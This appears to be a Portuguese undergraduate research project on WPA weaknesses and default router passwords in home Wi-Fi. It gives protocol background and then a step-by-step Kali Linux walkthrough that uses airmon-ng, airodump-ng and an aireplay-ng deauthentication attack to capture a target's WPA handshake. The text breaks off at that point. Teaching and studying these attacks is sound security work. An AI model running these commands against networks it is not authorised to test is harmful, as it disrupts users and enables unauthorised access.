Ao

Alcides Maya

FACULDADE E ESCOLA TECNICA

FACULDADE E ESCOLA TECNICA ALCIDES MAYA
CURSO TECNOLOGICO EM REDES DE COMPUTADORES

ALESSANDRO ARANHA DELFINO JUNIOR

Vulnerabilidade do Protocolo WPA:
Com Senhas padrées em Ambiente Doméstico.

Porto Alegre
2020



Alessandro Aranha Delfino Junior?!

Vulnerabilidade do Protocolo WPA:
Com Senhas padrées em Ambiente Doméstico.

Projeto de Pesquisa apresentado como
requisito parcial para obtencéo do titulo
de Tecndlogo em Redes de
Computadores, pelo Curso de Redes da
Faculdade e Escola Técnica Alcides
Maya.

Orientador: Prof. Me. Fagner Coin Pereira

coorientador Prof. Me. Jodo Padilha Moreira

Porto Alegre
2020

1 Académico do Curso Superior de Redes de Computadores — email: a.aranhajunior@gmail.com



RESUMO
A utilizagdo da tecnologia wireless € parte do cotidiano tanto de empresas
guanto em residéncias. Arquivos sigilosos e pessoais trafegam nestas redes o
tempo todo. Existem protocolos extremamente vulneraveis a ataques, estes
ainda s&o usados, e protocolos mais seguros, por vezes, sao utilizados de forma
errada deixando margem a ataques conhecidos como no caso de ataques com
forca bruta usando dicionario de palavras. Esse projeto tem como objetivo o
aprendizado sobre redes sem fio, bem como conhecer suas principais
fragilidades e formas de se prevenir a um ataque. Neste trabalho
demonstraremos fragilidade do protocolo wpa (wi-fi protected access) em redes
domeésticas, vulnerabilidades das senhas padrbes dos roteadores, ferramentas
em software livre usadas nos ataques, demonstrando técnica de ataque de forca
bruta em roteadores, dicas de como se prevenir a esses ataques, identificar se
apenas a seguranga pré-definida nos roteadores sdo suficientes e quais sao
suas vulnerabilidades, gerando assim um relatério com o objetivo de trazer uma
nog¢ao dos riscos que os usuarios de uma rede domestica estdo correndo e o
que ele pode fazer para prevenir-se, com resultados dos testes de ataque e

consideracgdes finais em relacao a introdugao e as conclusdes dos testes.

Palavras-chave: Tecnologia. Wireless. Residéncias. Protocolos. Vulneraveis. Seguros. Fragilidade.
Roteadores. Prevenir. Ataques. Monitoramento

Foi realizado um método de pesquisa misto e exploratério, onde € apresentado 0s
conceitos do Wi-Fi e sua seguranca, um software livre que contém ferramentas de
intrusdo a redes sem fio, € visto de forma prética a utilizacdo dos conceitos
realizando a invasado e quebra de senha de um roteador com a técnica de forca
bruta, apds a pratica € demostrado como evitar a invasao e um procedimento de
acessar a rede de forma mais segura, ao final é exibido o resultado de um
questionario de uma pesquisa realizada ao decorrer desse projeto sobre alteracéo

da senha de autenticagéo do acesso ao Wi-Fi e do roteador onde podemos

verificar que existem redes configuradas de forma padrao. ...........ccccccvvvvvviennennnn. 33
° Conceituar Wi-Fi e suas ferramentas de seguranca; .........cccoeeeeeeeeeeeevennnnnn. 33
° Entender a ferramenta utilizada e as formas de invasao; ..............cceeeeeeeens 33

° Implantacdo da ferramenta Kali linUX; ... 33



° Conectar em redes sem saber a criptografia, apenas utilizando softwares

livres; 33

° Aplicar métodos de defesa;.........ccuvvviiiiiiiiiiiiiiee 33
° Comprovar que apés fazer algumas configuragdes a invasao ndo ocorrera
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ABSTRACT

The use of wireless technology is part of the daily life of both companies and homes. Confidential and
personal files travel on these networks or at all times. There are protocols that are extremely
vulnerable to attacks, these are still used, and safer protocols are sometimes used in the wrong way,
leaving room for attacks related to force attacks using the word dictionary. This project aims to learn
about wireless networks, as well as to know their main weaknesses and ways to prevent an attack.
In this work, a fragment of the WPA protocol is demonstrated in home networks, vulnerabilities in
router standards, software tools used freely in attacks, technical demonstration of brute force attack
on rotators, tips on how to prevent these attacks, and monitor the network, identify yourself only as
pre-activated security on routers that are vulnerable and what their vulnerabilities are, generating a
report with the objective of generating a sense of the risks that the user of a home network is running
and what he can do to prevent, with results of the attack tests and final considerations regarding the
introduction and conclusions of the tests.

Key words: Technology. Wireless. Residences. Protocols. Vulnerable. Insurance. Fragility. Routers.
To prevent. Attacks. Monitoring.
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1. INTRODUCAO

Quando se fala em seguranca da informacado, é sempre importante lembrar
gue essa abrange um conjunto de medidas que envolve, entre outros fatores, os
procedimentos técnicos. Temos algumas dessas medidas cautelares a de
classificacdo de material, descarte de documentos, copias de seguranca, educacao
do usuério, principios éticos dos administradores, seguranca fisica, politicas de
seguranca, entre outros itens. Os temas que serdo aqui tratados correspondem
apenas a uma pequena parte da seguranca da informagéo, que, por consequéncia,
procura analisar e resolver apenas a parte técnica da questao.

Rede sem fio ainda é algo novo na vida de algumas pessoas, e
diferentemente das redes cabeadas, sobre as quais era necessario conhecimento
técnico um pouco mais especifico, a montagem e a instalacdo de redes Wi-Fi é
absolutamente factivel por um usuario iniciante. Por tanto, toda essa simplicidade
de instalacdo tem feito com que muitas redes sem fio (caseira ou ndo) sejam
montadas com padrfes de fabrica, ou seja, completamente vulneraveis a inimeros
tipos de ataque.

O objetivo principal deste projeto € proporcionar ao leitor uma visédo
abrangente das caracteristicas e peculiaridades de redes sem fio (notadamente
tecnologia Wi-fi), mas também permitir entendimentos das vulnerabilidades comuns
associadas a tecnologia, de seus riscos e das possibilidades de uso com mais
seguranca.

O projeto também é composto por topicos, nos quais sdo apresentados
conceitos de rede sem fio, seguidos de riscos inerentes a modalidade e propostas
de solucdes. Tais informagOes permitem entender o universo das redes sem fio,
consolidando a parte tedrica e conceitual antes de abordar aspectos técnicos, em
gue a base conceitual sera requerida.

Inimeras tecnologias estdo incluidas na categoria de redes sem fio. Nas
quais essas categorias estdo relacionadas desde redes simples como
infravermelho, em que normalmente podem fazer parte apenas dois dispositivos, e
esses, em geral devem estar um em frente ao outro, passando por tecnologias mais

recentes, como Bluetooth, WiMax, 4G, RFID e ZigBee. Entretanto a énfase desse



projeto recaird sempre nas relacionadas com o padrdo 802.11 (conhecido
genericamente como Wi-Fi).

1.2 Problema

Roteadores séo por padrées, configurados de forma para ter o desempenho
satisfatorio para o usuério final contratante do servigo, 0 que se torna um problema
devido ao padréo pré-configurado, com senhas fracas e configuracdes que

permitem o facil acesso, onde esses estdo disponiveis na internet.

1.3 Delimitacfes do Trabalho

Este projeto delimitou-se em demonstrar a falha de seguranga de um
roteador configurado por padrédo pela operadora sem nunca ter feito quaisquer
alteracdes no nome de rede e senha de acesso, para demonstrar a falha é utilizado
o Kali Linux uma distribuicdo GNU/Linux baseada no Debian, 0 mesmo dispbe de
numerosos softwares pré-instalados porem € utilizado apenas os softwares
necessarios para um ataque de forca bruta, apds a teoria e a pratica poderemos ver
métodos para evitar uma possivel invaséo, ao final esta disponivel uma pesquisa
realizada com 344 pessoas que aponta um resultado positivo sobre a alteracdo das
configuracdes do roteador onde podemos ver que a grande maioria troca a senha
do seu Wi-Fi.

1.4 Objetivo Geral

O projeto consiste em identificar a vulnerabilidade em redes wireless com a
utilizacdo de ferramentas que quebram a seguranca de um equipamento sem ter
autorizacdo para acessa-lo, o que acaba tornando a rede ndo cabeada vulneravel

a um ataque, e ter suas informag0des contidas nelas facilmente capturadas.



1.4.1 Objetivos Especificos

e Conceituar redes Wi-Fi.

e Determinar 0s mecanismos de seguranca presentes em roteadores

e Apresentar ferramentas e a forma de um ataque a rede sem fio.

e Analisar falhas na seguranca da rede.

e Definir procedimentos para proteger a rede e os dispositivos conectados a
ela.

1.5 Justificativa

Nos tempos modernos, ndo € apenas a conexdao da internet nas maos do
invasor, séo seus dados particulares, senhas de bancos, fotos pessoais etc.

Desta maneira, esperamos contribuir com o tema apontado, para
conscientizar ao uso das redes e a configuracdo das mesmas adotando novas
praticas de uso.

A principal motivac@o para o desenvolvimento desse trabalho, é a protecdo
dos dados contidos nas redes domésticas. Podemos afirmar que demonstrar a
formas de atague e apontar os pontos de vulnerabilidade a um ataque, é de fato
importante para os usuarios de uma determinada rede terem nocdo de como se
proteger ou entdo de como age um invasor.

Uma pesquisa desenvolvida no ano de 2014 pela empresa Avast Software
revela numeros alarmantes com relacdo a seguranca de redes WLAN domeésticas,
como mostra a tabela 1, foram avaliados 18.000 domicilios que possuiam redes
WLAN (Avast Software, 2014).



2. REVISAO BIBLIOGRAFICA

“‘Praticamente todos os equipamentos saem de fabrica com senhas de
administracdo e endereco IP padrdo. Caso estes ndo sejam trocados, poderéo
permitir a um atacante que se utilize delas em uma rede-alvo e tenha condi¢des de
identificar todas as configuracdes feitas, podendo até mesmo modifica-las. Essas
informac¢des constam em manuais e documentos publicos, portanto qualquer

possivel atacante pode acessa-las” (RUFINO, 2015).

2.1 Wi-Fi

E utilizada por produtos certificados que pertencem a classe de dispositivos
de rede local sem fios baseados no padrdo IEEE 802.11. Por causa do
relacionamento intimo com seu padrdo de mesmo nome, o termo Wi-Fi é usado
frequentemente como sinGnimo para a tecnologia IEEE 802.11. O padréo Wi-Fi
opera em faixas de frequéncias que néo necessitam de licenca para instalagéo e/ou
operacdo. Para se ter acesso a internet através de rede Wi-Fi, deve-se estar no raio
de acdo ou area de abrangéncia de um ponto de acesso ou local publico, onde
opere rede sem fios e se usar dispositivo mével, como computador portétil, tablet,
PCs com capacidade de comunicagédo sem fio, deixando o usuério do Wi-Fi bem a

vontade em usa-lo em qualquer lugar.
2.2 Fundamentos de rede Wi-Fi

Fatores externos causam muito mais interferéncias nas redes em fio do que
nas redes convencionais. I1Sso acontece, obviamente, por ndo existir prote¢cdo em
relacdo ao meio por onde as informacgdes trafegam. Nas redes convencionais, 0s
cabos podem se valer de diversos tipos de matérias para a protecdo fisica,
isolamento, tanto quanto for qualidade do material, o que ali trafega do resto do
ambiente, mas, por outro lado, pode atingir, sem muito esforco, locais de dificil
acesso para redes cabeadas. A seguir conceituaremos alguns dos principais

elementos que compdem os protocolos das redes sem fio.



2.2.1 Frequéncias

A frequéncia 2,4 GHz é utilizada por uma vasta quantidade de equipamentos
e servicos, por isso se diz que é poluida ou suja, por ser usada também por
aparelhos de telefone sem fio, Bluetooth, forno de micro-ondas, babas eletronicas
e pelos equipamentos dispositivos que se conectam via wireless.

A principal diferenca entre as frequéncias sem fio de 2,4 GHz e 5 GHz diz
respeito ao numero de dispositivos por frequéncia. O segundo motivo é que muitos
outros aparelhos “roubam” a frequéncia 2,4 GHz, como os fornos micro-ondas e
telefones sem fio. Esses dispositivos criam um ruido que diminui ainda mais a
velocidade das redes sem fio. Apesar da frequéncia de 5 GHz ter alcance menor do
que a de 2,4 GHz, ela é capaz de transmitir mais dados por segundo porque €&
virtualmente livre de interferéncias.

E possivel, por exemplo, ter até 20 dispositivos de rede préximos operando
na mesma frequéncia sem que haja perda de sinal ou velocidade de internet. Além
disso, todos os roteadores que operam na frequéncia de 5 GHz s&o dual band, ou
seja, também operam em 2,4 GHz simultaneamente, permitindo aos dispositivos
que ainda nao trabalham em 5 GHz também se conectarem. Em todos os
aspectos, optar pela frequéncia de 5 GHz é a melhor opcéo, pois o0 usuario tera mais

canais e poderd se isolar de outras redes, além de sofrer muito menos interferéncia.
2.2.2 ldentificador do conjunto de servi¢co (SSID - Service set Identifier)

Esse conjunto de servigos € geralmente personalizavel e mais conveniente
porque, na maioria das vezes, ele usa a linguagem natural que € o Inglés. O SSID
€ considerado como um nome uUnico para WLAN uma vez que existem varias
WLANSs que podem coexistir. Quando o contetdo do SSID é arbitrario, o campo
SSID também sera definido como nulo. Este SSID nulo é chamado de SSID wildcard
que é considerado como um SSID nao broadcast ou SSID oculto. Uma vez que
existem varias WLANs que podem coexistir. Se um icone wireless for clicado, o

SSID reconhecido pelo dispositivo sera listado.



2.2.2.1 Identificadores do conjunto de servi¢cos basicos (BSSID - Identify
Access Points and Their Clients)

Um conjunto de servi¢os consiste num grupo de dispositivos de rede sem fios
gue funcionam com os mesmos parametros de rede. Os identificadores de conjunto
de servicos basicos (BSSID) sédo usados para descrever se¢des de uma rede local
sem fio ou WLAN. Ele reconhece o ponto de acesso ou roteador porque tem um
endereco Unico que cria a rede sem fio. BSSID identifica os conjuntos de servicos
basicos que sdo etiquetas de 48 bits e estdo em conformidade com as convencgdes
MAC-48. Na maioria das vezes ele é associado com o enderego MAC do AP. A
informacao sera enviada no beacon AP mas ndo pode ser vista por nenhum outro
usuario a menos que ele tenha um analisador ou ferramentas. Assim, BSSID é
simplesmente o endereco MAC de um ponto de acesso wireless ou também

conhecido como WAP.

2.2.2.2 Extended Service Set Identifier (ESSID)

Que também é conhecido como “nome da rede”, é a cadeia que deve ser
conhecida tanto pelo concentrador, ou pelo grupo de concentradores que envia
sinais com ESSID, é detectado pelos equipamentos na regido de abrangéncia,
fazendo com que estes enviem um pedido de conexao.

Quando o ESSID ndo esta presente, ou seja, quando os concentradores
enviam seu ESSID de forma gratuita, os clientes tem de conhecer de antem&o os
ESSIDs dos concentradores disponiveis no ambiente para, entdo requerer a

conexao.

2.2.2.3 Beacon

Concentradores enviam sinais informando sobre sua existéncia, para que
clientes que estejam procurando por uma rede percebam sua presenca e
estabelecam corretamente conexdo com um determinado concentrador.

A sua principal funcdo é a de avisar todos os clientes de que a rede esta

ativa, e também sincronizar a transmissao dos dados trafegados no wireless.



2.2.3 Padrdes Atuais

O Institute of Electrical and Electronics Enginners (IEEE) formou um grupo de
trabalho com o objetivo de definir padrbes de uso em redes sem fio. Um desses
grupos de trabalho foi denominado 802.11, que une uma série de especificacdes
que basicamente definem como deve ser a comunicagao entre um dispositivo
cliente e um concentrador ou a comunicacao entre dois dispositivos clientes. Ao
longo do tempo foram criadas varias extensdes, nas quais foram incluidas novas
caracteristicas operacionais e técnicas. O padrdo 802.11 original (também
conhecido como Wi-Fi), em termos de velocidade de transmisséo, prove, no maximo
2 Mbps, trabalhando com a banda de 2,4GHz.

2.2.3.1 Padréo 802.11b

Nas redes 802.11b, a velocidade tedrica é de apenas 11 megabits. Como as
redes wireless possuem um overhead muito grande, por causa da modulacdo do
sinal, checagem e retransmissédo dos dados, as taxas de transferéncias na pratica
ficam em torno de 750 KB/s, menos de dois tercos do maximo. Conforme o cliente
se distancia do ponto de acesso, a taxa de transmisséo cai para 5 megabits, 2
megabits e 1 megabit, até que o sinal se perca definitivamente. No Windows vocé
pode utilizar o utilitario que acompanha a placa de rede para verificar a qualidade

do sinal em cada parte do ambiente onde a rede devera estar disponivel.

2.2.3.2 Padrao 802.11a

Definido apés os padrbes 802.11 e 802.11b e tentando resolver os problemas
existentes nestes, 0 802.11a tem como principal caracteristica o significativo
aumento da velocidade para um maximo de 54 Mbps, mas podendo operar em
velocidades mais baixas. Outra vantagem deste padrao consiste na quantidade de

canais nao sobrepostos disponiveis, um total de 12, diferentemente dos trés canais



livres disponiveis nos padrdes 802.11 e 802.11g, o que permite cobrir uma area

maior e mais densamente povoada, em melhores condi¢cdes que outros padrdes.

2.2.3.3 Padrao 802.11.g

Este padrdo € mais recente que os comentados anteriormente e equaciona
a principal desvantagem do 802.11a, que ¢€ utilizar a faixa de 5GHz e ndo permite
interoperacdo com 802.11b. O fato de 802.11g operar na mesma faixa (2,4 GHz)
permite que equipamentos de ambos os padrdes (b e g) coexistam no mesmo

ambiente, possibilitando assim evolugdo menos traumatica do parque instalado.

2.2.3.4 Padréo 802.11i

Homologado em 2004, diz respeito a mecanismos de autenticacdo e
privacidade e pode ser implementado em varios de seus aspectos aos protocolos
existentes. Nele foi definido o padrdo RSN (Robust Security Network), que permite
meios de comunicacfes mais seguros que os difundidos atualmente. Esta inserido
neste padrdo o protocolo WPA, que foi desenhado para prover solucdes de
seguranca mais robustas, em relacdo ao padrdo WEP, além do WPA2, que tem por
principais caracteristicas o uso do algoritmo criptografico AES (Advanced

Encryption Standard).

2.2.3.5 Padrédo 802.11n

Também conhecido como WWISE (World Wide Spectrum Efficiency), este
padrdo tem como foco principal o aumento da velocidade (cerca de 100 a 500
Mbps). Paralelamente, deseja-se aumento da area de cobertura. Em relagéo aos

padrdes atuais, ha poucas mudancas.



2.2.3.6 Padrao 802.11ac

As principais caracteristicas das redes 802.11ac sdo a maior velocidade
(1,3Gb/s), utilizar somente a frequéncia de 5GHz (alguns concentradores permitem
compatibilidade com 802.11n na frequéncia de 2.4 GHz) e melhor qualidade do

sinal, o que torna as conexdes mais estaveis.

2.2.3.7 Padrao 802.1x

Mesmo ndo sendo projetado para redes sem fio (por ser definido antes
destes padrbes), esse padrdo tem caracteristicas que sdo complementares a essas
redes, pois permite autenticacdo baseada em métodos ja consolidados, como o
RADIUS (Remote Authenticantion Dial-in User Service), de forma escalavel,
expansivel. Dessa forma € possivel promover um Unico padrdo de autenticacéo,
independentemente da tecnologia (varios padrées de redes sem fio, usuéarios de
redes cabeadas, discadas e etc.) manter a base de usuarios em um repositorio
anico, quer seja em banco de dados convencional, LDAP ou qualquer outro
reconhecido pelo servidor de autenticacao.

E importante notar que, para esta infraestrutura funcionar, devem estar
interligados por meio de uma rede. A localizacgao fisica de cada elemento tem pouca
importancia.

Este padrdo pressupbe a presenca de um elemento autenticador,
geralmente um servidor RADIUS, e um requerente, ou seja, o elemento que requer
autenticacdo, no caso, o equipamento cliente. Essa autenticacdo € feita antes de
qualquer outro servico de rede estar disponivel ao usuéario requerente. Este,
primeiro solicita autenticagdo ao autenticador, que verifica em sua base de dados
as credenciais apresentadas pelo cliente, e, conforme a validade ou ndo dessas
credenciais (normalmente o bindmio usuario/senha) permite ou ndo o acesso a
essas. Uma autenticacdo bem-sucedida deflagrara todos os outros processos para
permitir a0 usuario acesso aos recursos da rede, o que pode incluir em receber um

endereco cia DHCP.



2.3 Mecanismos de seguranca

Os algoritmos de seguranca de redes WiFi ja passaram por muitas mudancas
e melhorias desde a década de 1990 e se tornaram mais seguros e eficazes.
Diferentes tipos de protocolos de seguranca sem fio foram desenvolvidos para a
seguranca de redes sem fio domésticas.

Os protocolos de seguranca sem fio sdo WEP, WPA e WPA2, e todos servem

ao mesmo propoésito, porém, sdo diferentes entre si.

2.3.1 WEP

Para que se possa ter uma comunicagcdo em uma rede sem fio, basta apenas
ter um meio para recepc¢ao do sinal, ou seja, uma recepc¢ao passiva, diferentemente
de uma rede cabeada, que necessita obrigatoriamente de uma conexao fisica entre
os dois componentes de rede. Por esta razdo, o protocolo 802.11 oferece uma
opcéo de cifragem de dados, onde o protocolo WEP é sugerido como solucao para
o problema, que esta totalmente disseminado e presente nos produtos que estado
dentro dos padrbes definidos pela IEEE para redes Wi-Fi (RUFINO, 2005).

2.3.2 WPA (WI-FI PRETECTED ACCESS)

O protocolo WPA também conhecido como WEP2 ou TKIP (Temporal Key
Integrity Protocol - protocolo de chave temporaria) surgiu para corrigir os problemas
de seguranca encontrados no WEP, e implementou a autenticacéo e a cifragem do
trabalho que estava sendo desenvolvido em outros padrdes baseados no 802.11.

O WPA atua em duas areas distintas: sua primeira atuacéo é a substituicdo
total do WEP, ou seja, sua cifragem objetivando a integridade e a privacidade das
informacdes que trafegam na rede. A segunda area de atuacdo foca diretamente a
autenticacao do usuario utilizando uma troca de chaves dindmica, que néo era feita

pelo WEP e, também, a substituicdo do vetor de inicializacdo de 24 bits do WEP



para 48. Para isto o WPA utiliza as definicées do padrao 802.1x e o EAP (Extensible
Authentication Protocol - Protocolo de Autenticacao Extensivel).

(RUFINO, 2005, CANSIAN et al., 2004). 22 SILVA (2003) afirma que “O WPA
padronizou o uso do Michael, também conhecido como MIC (Message Integrity
Check), em substituicdo ao CRC-32, melhorando a garantia da integridade dos
dados em transito”. Michael € uma fungcdo hash com criptografia chaveada, que
produz uma saida de 64 bits. A seguranca do Michael baseia-se no fato de que o
valor do MIC é cifrado e desconhecido pelo atacante. O método do algoritmo de
cifracdo do WPA é o mesmo utilizado pelo WEP, o RC4.

WPS (Wi-Fi Protected Setup): Existe um padrdo de seguranca que permite
gue vocé acesse a rede wireless sem precisar de uma senha: a tecnologia WPS.O
recurso serve para gque o usuario possa configurar o mecanismo de seguranca WPA
de forma mais facil: apenas inserindo um nome e senha para a rede. Essa
configuragdo é padrdo e vem configurada automaticamente de féabrica e é ativada

guando vocé liga o seu aparelho.

2.3.3 WPA/WPA2

Foi Ratificado em meados de 2004 corresponde a versédo final do WPA, a
diferenca entre WPA e WPA2 e que o WPA utiliza o algoritmo RC4 0 mesmo sistema
de encriptacao utilizado na WEB o TKIP (Temporal Key Integrity Protocol), enquanto
o WPA2 baseia-se na criptografia AES (Advanced Encryption Standard) mais
segura que a TKIP, mas exige mais processamento e algumas placas mais antigas
nao suportam o WPA2 nem mesmo atualizando a firmware (SILVA, 2012). WPA-
PSK (Pre Shared Key) de maneira simples WPA-PSK é uma criptografia forte em
gue as chaves de criptografia (TKIP) e frequentemente mudada o que garante mais
seguranca protegendo de ataques hackers, muito utilizado por usuarios domeésticos.
WPA2-PSK e ainda mais seguro que o WPA-PSK onde sua criptografia (AES) e
extremamente forte e resisténcia a ataques, adotado como padréao de criptografia

do governo americano.



2.3.4 TKIP (Temporal Key Integrity Protocol)

E um algoritmo de criptografia baseado em chaves que se alteram a cada
novo envio de pacotes. Faz uso do algoritmo RC4, da mesma forma que o WEP,
mas toma algumas precaucdes para evitar ataques, no qual a sua principal

caracteristica é a frequente mudancas de chaves que garante mais seguranca.

2.3.5 AES (Advanced Encryptation Sytem)

E um protocolo de criptografia mais seguro introduzido com o WPA2, ndo é
um padrdo desenvolvido especificamente para redes Wi-Fi, € um sério padrédo
mundial de criptografia que até foi adotado pelo governo dos EUA. Considerado
bastante seguro, os principais pontos fracos seriam ataques de forca bruta e

fraquezas de seguranca em outros aspectos do WPA2.

2.4 HandShake

Handshake ou aperto de méao é o processo pelo qual duas ou mais maquinas
afirmam que reconheceram umas as outras e estdo prontas para iniciar a
comunicacdo, o aperto de mao de 4 vias é o processo de troca de 4 mensagens
entre um ponto de acesso (autenticador) e o dispositivo cliente (suplicante) para
gerar algumas chaves de criptografia que podem ser usadas para criptografar dados

reais enviados pela midia sem fio

2.5 Modo monitor

Também chamado de Modo de Monitoramento ou modo RFMON, permite que
um computador com uma placa com interface de rede wireless realize
monitoramento de todo o trafego recebido da rede wireless. Diferente do modo
promiscuo, que também é utilizado para sniffar pacote, 0 modo monitor permite que

pacotes sejam capturados sem precisar de associacdo com um Ponto de Acesso



ou rede Ad-hoc primeiro. Modo monitor cabe apenas as redes wireless, enquanto
modo promiscuo pode ser usado em redes cabeadas.

2.6 Softwares Livres

De acordo com Costa e Paulino (2011), “software é a parte interna do
computador, aquela que traz os programas e ndo envolve o0 equipamento técnico,
como monitor e teclado”.

Softwares podem ser definidos como programas, ou uma sequéncia de
instrucdes escritas para serem interpretadas com o objetivo de executar tarefas
especificas, ou a parte légica do computador. De acordo com Palmieri e Aceti
(2014), “a definicado de software livre foi criada pela FSF (Free Software Foundation),
que diz que todo software livre pode ser usado, copiado, estudado, modificado e
redistribuido sem restricdo, de acordo com a necessidade de cada usuario”. Todas
as ferramentas utilizadas nesse trabalho sdo softwares livres, comecando pelo
sistema operacional Debian GNU/Linux, e todos os pacotes e ferramentas que
serdo descritos a seguir. Um software de cddigo fechado ndo oferece algumas
ferramentas nem a possibilidade de se utilizar algumas técnicas necessarias nesse

tipo de pratica.
2.6.1 Debian GNU/Linux

Debian (prondncia: débian) anteriormente chamado de Debian GNU/Linux e
hoje apenas de Debian, € um sistema operacional composto inteiramente de
software livre. E mantido oficialmente pelo Projeto Debian. O projeto recebe ainda
apoio de outros individuos e organiza¢des em todo mundo. O grupo distribui ainda
nacleos Unix-like, como o Debian GNU/kFreeBSD e o Debian GNU/Hurd. O Debian
€ especialmente conhecido pelo seu sistema de gestdo de pacotes, chamado APT,
que permite: atualizacdo relativamente facil a partir de versbes relativamente
antigas; instalacdo quase sem esforco para novos pacotes e remocdo limpa de
pacotes antigos. Debian vem dos nomes dos seus fundadores, lan Murdock e de
sua esposa, Debra. O projeto Debian € mantido por meio de doa¢des a organizagéo

sem fins lucrativos Software in The Public Interest (SPI).



2.6.1.1 Kali Linux

Kali Linux € uma distribuicdo GNU/Linux baseada no Debian. O projeto
apresenta varias melhorias, além de mais aplicativos. E voltado principalmente para
auditoria e seguranca de computadores em geral. E desenvolvido e mantido pela
Offensive Security Ltd. Desde 21 de janeiro de 2016, € uma distribuicdo "rolling-
release".

O Kali Linux dispde de numerosos softwares pré-instalados, incluindo o
Nmap (port scanner), Wireshark (um sniffer), John the Ripper (crackeador de
password) e Aircrack-ng (software para testes de seguranca em redes sem fios). O
sistema pode ser utilizado a partir de um Live CD ou live-usb, além de poder ser
instalado como sistema operacional principal. E distribuido em imagens 1SO
compilados para as arquiteturas x86, x64 e ARM, seguem algumas ferramentas que

0 acompanham.
2.6.1.3 Airmon-ng

Airmon-ng, este script pode ser usado para ativar o modo de monitor em
interfaces sem fio. Também pode ser usado para voltar do modo monitor para o
modo gerenciado. Inserir o comando airmon-ng sem parametros mostrara o status
das interfaces. Ele também pode listar / matar programas que podem interferir na

operacédo da placa sem fio.
2.6.1.4 Airodump-ng

O airodump-ng é usado para captura de pacotes de quadros 802.11 brutos
com a intencdo de usa-los com o aircrack-ng. Se vocé tiver um receptor GPS
conectado ao computador, o airodump-ng podera registrar as coordenadas dos
pontos de acesso encontrados. Além disso, 0 airodump-ng grava um arquivo de

texto contendo os detalhes de todos os pontos de acesso e clientes vistos.



2.6.1.5 Aircrack-ng

Aircrack-ng € um programa de quebra de chave 802.11 WEP, 802.11i WPA /
WPA2 e 802.11w WPAZ2.

Ele pode recuperar a chave WEP depois que pacotes criptografados
suficientes foram capturados com airodump-ng. Esta parte do pacote aircrack-ng
determina a chave WEP usando dois métodos fundamentais. O primeiro método &
através da abordagem PTW (Pyshkin, Tews, Weinmann). A principal vantagem da
abordagem PTW é que sdo necessarios muito poucos pacotes de dados para
quebrar a chave WEP. O segundo método é o método FMS / KoreK. O método FMS
/ KoreK incorpora varios ataques estatisticos para descobrir a chave WEP e utiliza-
0s em combinacdo com a forca bruta.

Além disso, o programa oferece um método de dicionario para determinar a
chave WEP. Para quebrar as chaves pré-compartilhadas WPA / WPA2, para isso

uma lista de palavras deve ser usada.

2.6.1.6 Crunch

Crunch é um gerador de lista de palavras onde vocé pode especificar um
conjunto de caracteres padrao ou um conjunto de caracteres que vocé especificar.

A trituracdo pode gerar todas as combinacdes e permutacdes possiveis.

2.6.1.7 Aireplay-ng

A principal funcéo é gerar trafego para uso posterior no aircrack-ng para
guebrar as chaves WEP e WPA-PSK. Existem ataques diferentes que podem
causar desautentificacdes com o objetivo de capturar dados de Handshake WPA,
autenticacOes falsas, repeticdo de pacotes interativos, injecdo de solicitacdo ARP

criada manualmente e reinjecao de solicitacdo ARP.



3 METODOLOGIA

Foi realizado um método de pesquisa misto e exploratério, onde é apresentado
0s conceitos do Wi-Fi e sua seguranca, um software livre que contém ferramentas
de intrusdo a redes sem fio, é visto de forma pratica a utilizacdo dos conceitos
realizando a invasédo e quebra de senha de um roteador com a técnica de forca
bruta, ap0s a pratica € demostrado como evitar a invasdo e um procedimento de
acessar a rede de forma mais segura, ao final € exibido o resultado de um
guestionario de uma pesquisa realizada ao decorrer desse projeto sobre alteracéao
da senha de autenticagdo do acesso ao Wi-Fi e do roteador onde podemos verificar
gue existem redes configuradas de forma padréo.

Conceituar Wi-Fi e suas ferramentas de seguranca;
e Entender a ferramenta utilizada e as formas de invaséo;
e Implantacdo da ferramenta Kali linux;

e Conectar em redes sem saber a criptografia, apenas utilizando softwares

livres;
e Aplicar métodos de defesa;

e Comprovar que apos fazer algumas configuracdes a invasao ndo ocorrera

facilmente;

e Apresentar relatorio de alteragdo de senhas em roteadores domésticos.

4 IMPLEMENTACAO

7

A implementacdo é baseada em capturas de telas feitas no Sistema

operacional Kali Linux, na utilizacédo das ferramentas que o software disponibiliza, e



em pesquisas na internet sobre senhas padrées de acordo com o modelo do
roteador.

4.1 Monitorar arede do ataque

No modo monitoramento é possivel visualizar as redes ativas dentro da area
do alcance da antena, diferente do método promiscuo de conexdo Wi-Fi onde
vemos apenas o ESSID, em modo monitoramento demonstrado na Figura 1, é
possivel capturar informacdes primordiais para uma invasao do dispositivo, além de
mostrar o MAC de rede de usuarios conectados nos pontos de acesso.

O comando utilizado no terminal do Kali Linux para alterar o modo da placa
para modo de monitoramento é “airmon-ng start wlan0”, com a placa em modo
monitor é possivel gerar uma lista em tempo real para analisar os dispositivos ativos
na area de alcance da antena aplicando o comando airodump-ng wlanOmon, com
esse comando € gerada duas tabelas, na primeira € possivel ver os pontos de
acessos e suas informacdes, na segunda é possivel ver os dispositivos conectados
(STATION).

Apos a selecao do alvo, como vemos na Figura 1 foi selecionado o alvo com
final BSSID “A0:3A” e com o ESSID “-A039”, vamos fazer o monitoramento isolado

daquela rede para capturar o handshake.

Figura 1 - Figura 1 — Monitoramento do Wi-Fi.
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4.2 Capturando HandShake.

A captura do handshake pode ser feita quando um dispositivo for conectado
ao ponto de acesso, isso pode demorar alguns minutos, horas ou dias, para agilizar
esse processo o atacante pode fazer um ataque DdoS em algum dispositivo da rede
como mostra a Figura 2, obrigando o dispositivo a se desconectar e conectar
novamente.

Apods escolher um alvo do ataque, usando o comando “airodump-ng --bssid
(MAC do dispositivo) --channel 1 (canal) --write (nomedoarquivo) wlanOmon” é
possivel monitorar apenas um ativo de rede e gravar as informa¢fes capturadas
como vemos na Figura 2, foi escolhida a rede X-A039.

Na linha “STATION” é possivel ver os MACs de rede dos dispositivos
conectados, possibilitando um ataque de DDoS a um uUnico dispositivo, e podendo

assim capturar o HandShake.

Figura 2 - Monitoramento do alvo.
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Fonte: Elaborada pelo autor

Para fazer o ataque DDoS foi utilizado o comando “aireplay-ng --deauth 30 —
a (MAC do roteador) —c (MAC do alvo) wlanOmon forgando o dispositivo a se

desconectar e conectar novamente como mostra ha FIGURA 3.



Figura 3 - Ataque DdoS.
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Fonte: Elaborada pelo autor

Na FIGURA 4 é possivel ver o handshake que foi capturado apds alguns
minutos depois do ataque DDoS ao dispositivo, onde o dispositivo se conectou

novamente ao ponto de acesso.
Figura 4 - Captura do HandShake.
